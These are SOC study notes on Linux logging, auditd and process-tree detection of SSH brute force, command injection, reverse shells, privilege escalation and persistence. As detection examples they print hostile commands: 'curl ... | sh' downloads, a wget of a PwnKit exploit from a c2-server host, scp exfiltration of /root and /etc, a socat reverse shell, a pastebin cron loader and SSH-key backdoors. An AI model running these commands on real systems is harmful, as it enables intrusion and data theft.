Linux Logging for SOC — Notes

Scope: Linux servers (Debian, Ubuntu, CentOS, RHEL), no GUI. Linux is not immune to malware, and Linux intrusions are increasing.

1. The Big Picture

Core idea: default Linux logs cover authentication well and runtime activity not at all. Detection coverage grows as you add sources:

auth.log only  →  + web logs & bash history  →  + runtime monitoring (auditd)
   narrow                                                         broad

2. How Linux Logs Differ from Windows

Caveat: logs on a real system may look different from these examples, or not exist at all.

Standard line format (syslog-style)

2025-08-04T14:17:40  thm-vm  sshd[3139]:  Failed password for admin from 138.204.127.54 port 52670 ssh2
└─ event time ─┘   └host┘  └process[PID]┘ └──────── free-form message (any format) ────────┘

3. Working With Logs — Essential Commands

ls -l /var/log                          # discover what the system logs
cat /var/log/syslog | head              # peek at the start
cat /var/log/syslog | grep CRON         # keep only lines with CRON
cat /var/log/syslog | grep -v CRON      # EXCLUDE lines with CRON
grep -R -E "auth|login|session" /var/log  # search ALL logs recursively for keywords

Strategy: thousands of lines, few matter → filter aggressively and narrow down.

Practical tips (beyond the room):

• grep PATTERN file does the same as cat file | grep PATTERN, with one less process.
• Old logs get rotated (auth.log.1, auth.log.2.gz). Plain grep skips .gz contents → use zgrep.
• Many modern systems log to systemd-journald (/var/log/journal/), which is binary → read with journalctl (e.g. journalctl -u ssh). Some installs have no /var/log/syslog at all.

4. Authentication Logs — /var/log/auth.log

The #1 log source for SOC. It holds more than logins: user management, sudo commands, and more.

4a. Logins & logouts → grep session opened|session closed

grep -E 'session opened|session closed' /var/log/auth.log

The text in pam_unix(XXX:session) tells you how the login happened:

Read it as: session opened for user TARGET by WHO.

• for user root ... by carol(uid=1003) → Carol became root.
• by bob(uid=0) → uid 0 means the login service (running as root) opened it — normal for logins.

Spotting length of a session: match opened and closed with the same PID (e.g. login[1138]: 16:04 → 19:23).

4b. SSH-specific events → grep sshd + Accepted|Failed

grep sshd /var/log/auth.log | grep -E 'Accepted|Failed'

Format: <Accepted|Failed> <auth-method> for <user> from <IP> port <port> ssh2

Failed password for root from 222.124.17.227 port 50293 ssh2
Failed password for admin from 138.204.127.54 port 52670 ssh2
Accepted publickey for bob from 10.19.92.18 port 55050 ssh2: <key>

SOC red flags:

• Many Failed from one IP → brute force
• Many usernames from one IP → password spraying / user enumeration
• Failed × N, then Accepted from the same IP → brute force succeeded
• Login attempts for root / admin from external IPs
• Note public vs private IPs (10.x, 172.16–31.x, 192.168.x = internal)

4c. User management → grep (passwd|useradd|usermod|userdel)\[

grep -E '(passwd|useradd|usermod|userdel)\[' /var/log/auth.log

The \[ ensures you match the process name (useradd[1878]) and not random text.

Classic persistence pattern (all within ~45 seconds):

1. Delete old backdoor account
2. Create new user
3. Add it to sudo group → new admin account = persistence

4d. Commands run with sudo → grep COMMAND=

grep -E 'COMMAND=' /var/log/auth.log

sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/systemctl stop edr   ← defense evasion
sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/ufw status numbered ← recon (firewall)
sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/su                  ← full root shell

Gap: once someone runs sudo su, everything they do as root is no longer logged here → you need runtime monitoring.

auth.log grep cheat sheet

5. Generic System Logs

Reality: useful in DFIR, rarely in daily SOC work — noisy and hard to parse.

Syslog example worth noticing:

CRON[1048]: (root) CMD (date > mycrondebug.log)

Cron lines show the exact command a scheduled job ran, and as whom → useful for spotting malicious cron persistence.

6. App-Specific Logs

Each application logs its own activity: databases (queries), mail (phishing), containers (anomalies), web servers (who opened what).

Nginx access log — one line per HTTP request:

10.0.1.12 - - [11/08/2025:14:33:09 +0000] "POST /login HTTP/1.1" 302 112
└client IP┘      └──── timestamp ─────┘  └method path proto┘ └status┘└bytes┘

⚠ Note the date format differs (DD/MM/YYYY:HH:MM:SS) from auth.log — every app has its own format.

7. Bash History — ~/.bash_history

• Commands kept in memory during the session, written to ~/.bash_history at logout.
• history command shows current session + past sessions.
• Per-user file: /home/<user>/.bash_history, /root/.bash_history.

Why SOC rarely relies on it:

• Doesn't track non-interactive commands (OS, cron, web server)
• Live session not on disk until logout
• Trivially evaded:

Treat it as a bonus clue, never as proof of absence. Empty history ≠ nothing happened.

8. Runtime Monitoring — The Missing Piece

By default, Linux does NOT log:

• Process creation ("which programs did Bob launch?")
• File changes ("who deleted my home folder?")
• Network connections

These are runtime events. Windows has the same gap (fixed with Sysmon); Linux fixes it with auditd or alternatives.

System calls — the foundation

Every program asks the kernel for services via system calls (300+ on Linux).

You type "whoami" → shell sends execve("/usr/bin/whoami") → kernel processes it
→ kernel uses CPU/memory/disk → kernel returns result → you see output

Key insight: EDRs and logging tools all watch syscalls. Programs can't do anything meaningful without them, so syscall monitoring is far harder to evade than bash history. Pick the syscalls you care about → log them.

9. auditd (Audit Daemon)

Built-in Linux auditing tool used by SOC for runtime monitoring.

Rules — /etc/audit/rules.d/*.rules

-a always,exit  -S execve  -F exe=/usr/bin/wget           -F key=proc_wget
-a always,exit  -S openat  -F path=/secret.thm            -F key=file_thmsecret
-a always,exit  -S openat  -F dir=/etc/ssh -F perm=w      -F key=file_sshconf
-a always,exit  -S connect -F exe=/usr/bin/python3.12     -F key=net_python

What the 4 rules do: log wget runs · log access to /secret.thm · log writes in /etc/ssh · log Python network connections.

Balance: logging everything = gigabytes/day, and an attack buried in noise is still invisible. Log high-risk events only.

Reading results

Raw log: /var/log/audit/audit.log (hard to read). Use ausearch:

ausearch -i -k proc_wget      # -i = human-readable, -k = search by key

One event = several lines sharing the same ID msg=audit(08/12/25 12:48:19.093:2219):

SYSCALL fields — know these cold

The most important detail: auid=ubuntu uid=root → the person who logged in as ubuntu ran this as root. This closes the sudo su gap from auth.log: even after switching to root, auditd still knows who the real human was.

Example file event: nano /etc/ssh/sshd_config by auid=ubuntu uid=root → someone edited the SSH config with root privileges. Critical files to watch: SSH config, cron definitions, system settings.

10. auditd Alternatives

auditd output is verbose, hard to read, and hard to ingest into a SIEM. Alternatives:

All work the same way: monitoring system calls. Understand syscalls → learn any of these quickly, and explain why something was or wasn't logged.

11. One-Page Summary

1. Linux logs are plain text in /var/log, loosely formatted, distro-dependent.
2. auth.log/secure is the SOC's main source: logins, SSH, user changes, sudo commands.
3. syslog/kern/package logs → mostly DFIR. App logs (nginx etc.) → web/app attacks.
4. Bash history is easy to evade — supporting evidence only.
5. Default Linux does not log process, file, or network activity.
6. Runtime monitoring = watching syscalls (execve, openat, connect).
7. auditd: rules in /etc/audit/rules.d/, search with ausearch -i -k <key>.
8. auid = real human, uid = effective user. auid is the field that defeats sudo su hiding.
9. Log the high-risk stuff, not everything.

Linux Initial Access for SOC — Notes

How attackers first get into Linux servers, and how to catch each entry route in logs.

1. The Three Doors In

Unifying principle: whatever the door, the attacker eventually runs commands. Commands create processes. Processes have parents. Trace the parent → find the door.

2. Door #1 — SSH

Why SSH is the #1 target

• Almost every internet-facing Linux server runs it (Shodan: 40M+ exposed in 2025).
• Linux equivalent of RDP on Windows — powerful and often poorly defended.
• Botnets constantly scan the internet for it.

How attackers get in

Most real Linux attacks (e.g. the Outlaw botnet group) start from these simple scenarios. Rarer, advanced routes: vulnerabilities in the SSH server itself (e.g. Erlang/OTP SSH), SSH session hijacking.

The breach formula: public SSH + password auth + weak password = breach is a matter of time, not luck.

Anatomy of a brute-force breach

16:56:28 sshd[2820]: Failed password for user root      from 196.251.118.184
16:56:34 sshd[2822]: Failed password for invalid user helpdesk from 196.251.118.184
16:56:40 sshd[2824]: Failed password for invalid user ftptest  from 196.251.118.184
16:56:47 sshd[2826]: Failed password for invalid user support  from 196.251.118.184
16:56:49 sshd[2830]: Accepted password for thmsupport          from 196.251.118.184   ← BREACH

Three indicators that together confirm the breach:

1. Multiple failures → then a success (same IP)
2. External, untrusted IP (196.x is public, not internal)
3. Password auth (the weaker method)

Extra reading clues:

• invalid user = the account does not exist → attacker is guessing usernames from a wordlist.
• Attempts every ~6 seconds → automated tool, not a human typing.
• The winning username (thmsupport) resembles the guesses (support, helpdesk) → wordlist hit a real account.

Triaging successful logins

Start simple: grep 'Accepted' /var/log/auth.log, then judge each line.

2025-08-19T14:00:02 Accepted publickey for ansible from 10.14.105.255
2025-08-20T12:56:49 Accepted password  for jsmith  from 54.155.224.201
2025-08-22T03:14:06 Accepted password  for jsmith  from 196.251.118.184

The 4-question SSH investigation checklist

Good vs bad SSH login — at a glance

3. Door #2 — Exploited Public Services

Linux hosts web servers, mail, databases, dev/IT tools, and is the OS inside most firewalls and VPNs. Compromise the app → the whole host is at risk.

Real-world examples:

• Zimbra CVE → arbitrary OS command execution
• Exposed Docker API port → entry point for cloud breaches
• Palo Alto firewall CVE → full control of the underlying Linux OS
• WordPress plugin upload → used to drop web shells

Typical chain: brute-force/exploit the website → upload a backdoor → control the Linux server.

Application logs: useful but incomplete

No app logs "I'm being exploited by a zero-day." App logs give clues, not the full story:

Case study — command injection in TryPingMe

The app runs ping -c 2 [YOUR-INPUT] with no input filtering.

10.2.33.10    "GET /ping?host=3.109.33.76" 200      ← normal: an IP
10.12.88.67   "GET /ping?host=54.36.19.83" 200      ← normal: an IP
10.14.105.255 "GET /ping?host=hello"       500      ← probing: what breaks it?
10.14.105.255 "GET /ping?host=whoami"      500      ← trying a command
10.14.105.255 "GET /ping?host=;whoami"     200      ← ";" works → INJECTION SUCCESS
10.14.105.255 "GET /ping?host=;ls"         200      ← now exploring the system

How to read it:

• Legit users send IPs; the attacker sends Linux commands.
• 500 → 500 → 200 = classic trial and error until it works.
• ; = shell command separator → ping runs, then the attacker's command runs.

Conclusions from web logs alone: 10.14.105.255 is likely the attacker · /ping is vulnerable to code execution · attacker ran whoami, ls · entire host is now at risk.

What web logs CAN'T show: the command output or what ran afterwards → you need the process tree.

4. Process Tree Analysis — The Universal Method

Most SOC teams rely on this because app logs are often missing or unhelpful. Works for every initial access route.

Scenario: an alert fires on whoami. IT admin activity, or a breach? → Walk up the tree.

Walking UP (who launched it?)

ausearch -i -x whoami          # -x = filter by executable/command name
ausearch -i --pid 3905         # look up the parent (ppid of whoami)
ausearch -i --pid 3898         # look up the grandparent… until ppid=1

Result: systemd → python web app → sh -c → whoami → a web app spawned a shell. Strong sign of exploitation.

Walking DOWN (what else did it launch?)

Instead of arguing whether whoami is "normal" for the app, look for clearer evidence among its other children:

ausearch -i --ppid 3898 | grep proctitle    # all children of the web app

proctitle=/bin/sh -c whoami
proctitle=/bin/sh -c ls -la
proctitle=/bin/sh -c curl http://17gs9q1puh8o-bot.thm | sh     ← download & execute = smoking gun

ausearch cheat sheet

The detail that gives it away: auid=unset

In the web-app tree every process shows auid=unset uid=ubuntu tty=(none).

→ A shell with auid=unset and tty=(none) was not typed by a logged-in human. It came from a service. If that service is a web server, suspect exploitation.

5. Door #3 — Human Mistakes & Supply Chain

Phishing and USBs are rarer on Linux (technical operators, servers, no GUI), but people still make mistakes:

Pattern to remember: curl … | bash or | sh = download and run without inspecting. Always suspicious in a process tree.

Supply chain compromise

Attackers breach a software project → every user gets the malicious update. A Linux server has hundreds of dependencies from different maintainers, so this can come from anywhere.

• XZ Utils backdoor (2024): hidden in a compression library linked into SSH → nearly compromised millions of servers.
• tj-actions breach (GitHub Action): leaked thousands of secrets (SSH keys, access tokens) from CI logs.

6. Detection Workflow (all doors)

TRIGGER  → SIEM alert: suspicious command / connection to malicious IP
TRACE    → build the process tree: which app or user started it?
JUDGE    → is that parent expected to do this? legit or malicious?

Three trees to recognize

Web app breach               Supply chain                 SSH breach
systemd                      systemd                      systemd
└─ apache2                   └─ thm-service               └─ sshd
   └─ php-fpm                   ├─ wget   ✗                  └─ sshd (user=tom)
      └─ sh -c whoami ✗         ├─ base64 ✗                     ├─ curl  ✗
         └─ whoami   ✗          └─ tar    ✗                     └─ xmrig ✗ (cryptominer)

Universal red flags in a tree:

• A web server or service spawning sh / bash
• Download tools (curl, wget) followed by execution or decoding (base64, tar, | sh)
• Recon commands (whoami, id, uname, ls) from non-interactive parents
• Cryptominers (xmrig) — the most common payload on compromised Linux servers

7. Analyst's Observations (beyond the room)

• Correlate IPs across sources. 10.14.105.255 appears as the "legit" Ansible login and as the command-injection attacker. Possibly just reused lab data, but in a real case that overlap would demand investigation: a compromised automation server is a high-value pivot point.
• Timestamps need a timezone. "03:14 is night" assumes the log is in the user's local time. auth.log timestamps are often UTC; convert before judging.
• One success after failures isn't the only pattern. Watch also for password spraying: few attempts per account, many accounts, often spread across many IPs to dodge thresholds.

8. One-Page Summary

1. Three doors: SSH, exploited public apps, human mistakes / supply chain.
2. SSH breach = public + password auth + weak password. Look for failures → success, external IP, password method.
3. invalid user = account doesn't exist = username guessing.
4. Triage each Accepted login by username, source IP, login history, next steps.
5. App logs give clues (e.g. ;whoami in a URL), never the full story.
6. Process tree is the universal method: ausearch --pid to go up, --ppid to go down.
7. auid=unset + tty=(none) → spawned by a service, not a logged-in human.
8. Red flags: services spawning shells, curl | sh, recon commands, miners.
9. Always ask: "Why would this parent run that child?"

Linux Post-Breach Activity for SOC — Notes

What attackers do after getting in: Discovery → Ingress Tool Transfer → Hack-and-Forget payloads (with the real-world Dota3 case).

1. How Linux Breaches Actually Unfold

1. BOTNET automates the first stages  →  scans, brute-forces, gets a shell
2. Botnet hands control to a HUMAN    →  only when an entry point is ready
3. HUMAN (botnet owner) continues     →  discovery, payloads, persistence

Consequence: the attacker usually lands "blind" and asks the same questions you would: Where am I? Who am I? What is this machine? → Discovery always comes first.

When Discovery is skipped: the attacker already knows the target, OR just wants to drop a cryptominer and leave regardless of victim.

2. Discovery (MITRE TA0007)

Basic discovery — same commands on almost every breach

Why uptime / systemd-detect-virt? A freshly booted VM with no history looks like a sandbox or honeypot → attacker may stop to avoid analysis.

whoami — the single best discovery signal

Legitimate applications rarely need it; attackers run it first after breaching a service. A detection rule on any whoami execution has a high hit rate for real attacks.

Caveat: attackers can get the same info via id, echo $USER, or /proc/self/status, so don't make whoami your only rule.

Specialized discovery — reveals the attacker's GOAL

Key inference: almost no malware except miners cares about CPU model & RAM. Seeing cpuinfo + free -m + lscpu together ≈ miner incoming.

3. Detecting Discovery

Step 1 — Log the commands (auditd)

-a always,exit -S execve -S execveat -F exe=/usr/bin/whoami  -F key=discovery_user
-a always,exit -S execve -S execveat -F exe=/usr/bin/id      -F key=discovery_user
-a always,exit -S execve -S execveat -F exe=/usr/bin/pwd     -F key=discovery_fs
-a always,exit -S execve -S execveat -F exe=/usr/bin/uname   -F key=discovery_os
-a always,exit -S execve -S execveat -F exe=/usr/bin/netstat -F key=discovery_network

• execve and execveat → both ways of executing a program are covered.
• Group commands under shared keys (discovery_user, discovery_fs…) → hunt by category.
• Limitation: exe= matches only that exact path. A binary copied to /tmp/x or a BusyBox applet won't match.

Step 2 — Hunt (SIEM or manually)

ausearch -i -k discovery_user | grep -Ez 'key=|exe='

Step 3 — Get CONTEXT via the process tree (the real challenge)

The commands are identical for attackers, admins, and tools. Only the parent tells them apart.

Worked example:

ausearch -i -x whoami       # found: whoami, ppid=3898, auid=ubuntu
ausearch -i --pid 3898      # parent: /usr/bin/bash /tmp/lp.sh   ← script in /tmp!
ausearch -i --ppid 3898     # children: find /home -name *secret* … ×5 → malicious

• auid=ubuntu → launched from a real login session, not a daemon (contrast with auid=unset for web-app exploits).
• A script running from /tmp is suspicious on its own.
• Siblings like find … *secret* confirm intent: credential hunting.

4. Hack-and-Forget Attacks

Two informal attacker categories: targeted attacks and "Hack and Forget" (this room's focus).

Hack and Forget = run at scale, quick profit, victim doesn't matter. E.g. scan the internet for SSH with password tryguessme, catch a few victims per month.

After quick discovery, it ends in one (or all) of three payoffs:

Common names in this space: Mirai, Mozi, Kaiten, Outlaw, BadBox, Shellshock-based worms.

5. Ingress Tool Transfer (MITRE T1105)

How malware gets onto the victim. Vast majority use three preinstalled tools:

(Note: CVE-2021-4034 = PwnKit, a polkit pkexec privilege-escalation exploit.)

The scp direction trap — where does the evidence land?

Rule: if the transfer was initiated remotely, process logs are blind; look for the login instead. Same applies to FTP and SMB uploads.

Additional detection sources

Why /tmp? World-writable by every user, so any compromised account can drop files there.

6. Case Study — Dota3 Malware (full kill chain)

A simple but long-lived cryptomining botnet. Still active because admins keep setting weak SSH passwords.

Stage 1 — Initial Access

• Botnet of 2000+ IPs in 94 countries scans for open SSH.
• Brute-forces mainly root with the top 1000 weak passwords.
• On success, one botnet host logs in via SSH and continues.

Stage 2 — Discovery (automated, rapid-fire)

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'   # CPU model
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'                       # RAM
lscpu | grep Model                                                              # CPU again
ls -lh $(which ls)          # unclear purpose
crontab -l                  # existing scheduled jobs
w                           # who's logged in
uname -m                    # CPU architecture (x86_64? ARM?) → which miner binary to drop

• First three lines alone → cryptominer.
• Commands fire within seconds → script, not a human.

Stage 3 — Persistence (lock in access, lock out others)

`echo -e "ubuntu123\nN2a96PU0mBfS\nN2a96PU0mBfS"|passwd|bash` >> up.txt
cd ~
rm -rf .ssh
mkdir .ssh
echo "ssh-rsa [ssh-key] mdrfckr" >> .ssh/authorized_keys
chmod -R go= ~/.ssh

mdrfckr = key comment unique to this campaign → perfect IOC to grep for:

grep -r mdrfckr /home/*/.ssh /root/.ssh

Stage 4 — Tool transfer (via SCP, reusing the new password)

user@bot-1672$ scp dota3.tar.gz ubuntu@victim:/tmp     # attacker→victim push: only an SSH login shows on victim

Stage 5 — Staging in a disguised hidden folder

cd /tmp
rm -rf .X2*              # wipe previous/competitor copies
mkdir .X26-unix          # leading dot = hidden
cd .X26-unix
tar xf dota3.tar.gz      # unpacks to /tmp/.X26-unix/.rsync/c
sleep 3s
cd /tmp/.X26-unix/.rsync/c

Camouflage: /tmp/.X11-unix is a real X server folder; .X26-unix imitates it. .rsync imitates a legit tool. Goal: an admin glancing at /tmp doesn't investigate.

Stage 6 — Execute payloads

nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m
nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 172.16  >> /dev/null 2>1&
sleep 20m
cd ..; nohup /tmp/.X26-unix/.rsync/initall 2>1&
exit 0

• nohup … & → process keeps running in the background after the SSH session closes.
• >> /dev/null → discards output, leaves no trace on screen.
• sleep 8m / 20m → spaces out activity.
• Syntax note: 2>1 as printed actually redirects stderr to a file named 1; the usual form is 2>&1. Likely a transcription simplification, but a stray file named 1 in the working dir would itself be an artifact.

Detecting Dota3 — indicator map

In a real SOC with SIEM, expect several alerts at once: malicious-IP login + discovery spike + mdrfckr match.

7. One-Page Summary

1. Botnets automate access; humans take over after. Discovery comes first.
2. Discovery commands are the same ones admins use → judge them by their parent process.
3. whoami from a service = top-tier red flag. CPU/RAM checks = miner coming.
4. Hunt with auditd keys (discovery_*), then ausearch --pid up and --ppid down.
5. Hack-and-Forget payoffs: miner, botnet/DDoS, proxy.
6. Tool transfer = wget / curl / scp. Remote scp push leaves no process, only an SSH login.
7. Watch /tmp, /var/tmp, hidden dot-folders imitating system names, random filenames.
8. Dota3 chain: brute-force root → CPU discovery → change password + replace SSH keys (mdrfckr) → scp → hidden /tmp/.X26-unix → nohup scanner + XMRig.
9. nohup … & = survive logout. Binaries in /tmp + nohup = strong combo signal.

Linux Advanced Attacks for SOC — Notes

Targeted, human-led attack stages: Reverse Shells → Privilege Escalation → Persistence, plus Linux's role in espionage and ransomware.

1. Why Attackers Need Reverse Shells

TryPingMe example — injecting 127.0.0.1 && uname -a:

1. Must prepend 127.0.0.1 && to every command
2. Commands run only after ping finishes (delay)
3. No Ctrl+C, no history, no error output

Fix for the attacker → reverse shell: the victim connects out to the attacker and hands over an interactive shell. Often the only practical way to continue.

Reverse vs bind shell

• Reverse: victim → attacker. Outbound connections usually pass firewalls, so this is the common choice.
• Bind: attacker → victim's open port. Often blocked inbound.

Three common reverse shells

Reading the bash one:

• bash -i → interactive shell
• >& /dev/tcp/IP/PORT → send stdout+stderr to a TCP connection (/dev/tcp is a bash feature, not a real file)
• 0>&1 → read stdin from the same connection

Port choice: attackers pick ports like 80/443 to blend with web traffic (Python example uses 80).

2. Detecting Reverse Shells

SOC severity: CRITICAL. A reverse shell means the system is already breached and a human is actively working in it.

Walk UP — where did it come from?

ausearch -i -x socat          # pid=27808 ppid=27806 auid=unset uid=serviceuser
ausearch -i --pid 27806       # /bin/sh -c [ping -c] 4 -W 1 127.0.0.1 && socat TCP:10.20.20.20:2525 …
ausearch -i --pid 27796       # /usr/bin/python3 /opt/trypingme/main.py   (ppid=1)

systemd (1)
└─ python3 /opt/trypingme/main.py   (27796)  ← vulnerable web app
   └─ sh -c "ping … && socat …"    (27806)  ← injected command visible in full!
      └─ socat TCP:10.20.20.20:2525 (27808)  ← reverse shell

The sh -c line is gold: it shows the original ping command + the injection together, proving exactly how it happened.

Walk DOWN — what did the attacker do?

ausearch -i --ppid 27808 | grep proctitle
# id → uname -a → ls -la . → …    (Discovery, as always)

Reverse shell red flags

• /dev/tcp/ in a command line
• socat, nc/ncat, python -c … socket, pty.spawn, perl -e … socket
• A service (auid=unset) spawning a shell that makes an outbound connection
• Shell processes with a network connection to an external IP

3. Privilege Escalation (TA0004)

Web exploits usually land as a low-privilege service user (www-data, serviceuser), possibly stuck in /var/www/html or unable to run malware → attackers need root.

IF discovery finds X → THEN escalate with Y

Key terms:

• SUID (-perm 4000): binary runs with the owner's privileges (often root), regardless of who launches it. Misconfigured SUID on env, find, vim, python… = root. (Reference: GTFOBins.)
• bash -p: "privileged mode" → bash does not drop the elevated effective UID it inherited.
• PwnKit (CVE-2021-4034): polkit pkexec bug → local root on most distros from 2009–2022.

Detecting PrivEsc — watch the SURROUNDINGS, not the exploit

Hundreds of SUID tricks and thousands of CVEs → you can't write a rule per exploit. Detect the events around it:

# Detection 1: Discovery spike
whoami                              # → www-data
id; pwd; ls -la; crontab -l
ps aux | egrep "edr|splunk|elastic" # looking for security tools
uname -r                            # → old 4.4 kernel

# Detection 2: Download to temp dir
wget http://c2-server.thm/pwnkit.c -O /tmp/pwnkit.c
gcc /tmp/pwnkit.c -o /tmp/pwnkit    # compiling on the victim!
chmod +x /tmp/pwnkit
/tmp/pwnkit

# Detection 3: Exfiltration as root
whoami                              # → root   ← escalation worked
tar czf dump.tar.gz /root /etc/
scp dump.tar.gz attacker@c2-server.thm:~

Confirming success — compare UID of parent vs child

ausearch -i -x pwnkit        # /tmp/pwnkit   pid=24304  uid=serviceuser
ausearch -i --ppid 24304     # bash          pid=24310  uid=root        ← UID JUMPED
ausearch -i --ppid 24310     # whoami        pid=24312  uid=root

Rule: a child running as a more privileged user than its parent, without sudo/su/login in between = privilege escalation.

Nuance: check euid too, not just uid. SUID abuse (env bash -p) often keeps uid=serviceuser but sets euid=root. Exploits like PwnKit set both to root.

4. Persistence (TA0003) — Surviving Reboots

Linux servers can run for years without rebooting, so some attackers skip persistence. Those wanting long-term access add 1–2 backdoors.

4a. Cron (most popular, T1053.003)

APT29 / GoldMax — line added to /var/spool/cron/<user>:

@reboot nohup /home/<user>/.<hidden-dir>/<malware> > /dev/null 2>&1 &

@reboot = run at every boot · hidden dir · nohup + & = background · output discarded.

Rocke cryptominer (via Redis/phpMyAdmin exploits):

echo "*/10 * * * * root (curl https://pastebin.com/raw/1NtRkBc3) | sh" > /etc/cron.d/root

*/10 = every 10 minutes → re-downloads & re-runs the script → self-healing if IT deletes the files. Also note > overwrites the whole file.

Cron syntax refresher: minute hour day month weekday [user] command. /etc/cron.d/* and /etc/crontab include a user field; per-user crontabs (crontab -e) don't.

4b. Systemd services (T1543.002)

Services live in /lib/systemd/system/ and /etc/systemd/system/. With root, anyone can add one.

Sandworm / GOGETTER — /lib/systemd/system/cloud-online.service:

[Unit]
Description=Initial cloud-online job      # fake, trustworthy-sounding
[Service]
ExecStart=/usr/bin/cloud-online           # malware disguised as a system binary

Real units also need [Install] WantedBy=… + systemctl enable to start at boot; the room simplified it.

Detecting cron & systemd persistence

ausearch -i -f /etc/systemd     # file changes → vi created malicious.service
ausearch -i -x crontab          # crontab -e executed as root

In the file event: a2=O_WRONLY|O_CREAT|O_EXCL = file opened for writing and newly created (CREAT+EXCL = must not have existed before) → a brand-new service file.

5. Account Persistence — Access Without Malware

Goal: come back in a month without leaving malware. Method depends on how they first got in.

5a. New user account (T1136)

useradd[27254]: new group: name=support, GID=1001
useradd[27254]: new user: name=support, UID=1001, home=/home/support, shell=/bin/bash
usermod[27258]: add 'support' to group 'sudo'
usermod[27258]: add 'support' to shadow group 'sudo'

• Detect in auth.log: grep -E 'useradd|usermod'
• Then build the tree: ausearch -i --ppid 27254 (and up the parents) to see who created it
• Innocent-sounding names (support, backup, admin2) + sudo within seconds = backdoor

5b. Backdoored SSH keys (T1098.004)

echo "AAAAC3Nza...IkiINvQt/R" >> ~/.ssh/authorized_keys

Very hard for IT to spot: one more random-looking line among legit keys.

Detect with FILE monitoring, not process monitoring. echo is a shell builtin → no new process is created → no execve → process logs show nothing useful. The file write appears only as proctitle=bash.

ausearch -i -f /.ssh/authorized_keys

Example auditd watch rule:

-w /root/.ssh/authorized_keys -p wa -k ssh_keys

Each user's file needs coverage; watching all of /home is noisy.

5c. Application persistence

Breached WordPress admin → upload a web shell (e.g. WSO) → run commands through the website. No cron, no SSH key, nothing at the OS level → auditd and system logs often never see it.

Same risk for: exposed IT automation tools, unprotected SIEM/EDR consoles.

Rule of thumb: you checked every OS persistence location but malware keeps coming back → suspect a compromised public-facing app.

Persistence summary

6. Targeted Attacks

Linux as the entry point

Linux runs the internet-facing edge: firewalls, web/mail servers, VPNs. Even in a 99%-Windows company, one breached Linux server (srv-web-01) → pivot into the Active Directory network → major Impact.

Linux in espionage — Kimsuky APT

Breached a mission-critical server and persisted with a systemd service:

[Unit]
After=network.target
Description=syslogd                       # mimics the logging daemon
[Service]
ExecStart=/bin/sh -c "/var/log/syslogd"   # malware hidden in the LOG folder
Restart=always                            # relaunches if killed

Red flags: an executable inside /var/log (log directories hold logs, not binaries) · fake system name · Restart=always.

Linux in ransomware — hypervisors

Hundreds of Windows VMs can run on just a few physical hypervisors. Breach the hypervisor (exploit or SSH) → encrypt every VM's disk at once, regardless of guest OS.

Note: KVM/Proxmox are Linux; VMware ESXi is not technically Linux, but ransomware gangs build "Linux" encryptors for it and the same attack logic applies.

7. Room Inconsistency to Know

In the "Detecting SSH Backdoor" log, the SYSCALL line shows exe=/usr/bin/vi with the same event ID (:806) and timestamp as the systemd example. That's a copy-paste in the room. For an echo >> builtin write, a real log would show exe=/usr/bin/bash (matching proctitle=bash).

8. MITRE ATT&CK Recap (all four rooms)

9. One-Page Summary

1. Exploits give bad shells → attackers open a reverse shell (/dev/tcp, socat, python). Treat as critical.
2. Trace reverse shells up (find the vulnerable app; the sh -c line shows the injection) and down (see the attacker's commands).
3. Service users need root: old kernels/PwnKit, SUID binaries, exposed keys.
4. Detect PrivEsc by its surroundings: discovery spike, security-tool hunting, gcc/downloads in /tmp, exfil afterwards.
5. Confirm escalation: child's uid/euid higher than parent's without sudo/login.
6. Persistence: cron (@reboot, */10 self-healing), systemd (fake names, Restart=always), new sudo user, SSH keys, app web shells.
7. SSH-key backdoors need file monitoring: echo is a builtin, invisible to process logs.
8. Executables in /tmp, /var/log, or hidden dot-dirs = suspicious by location alone.
9. Linux is the door into Windows networks and the multiplier in hypervisor ransomware.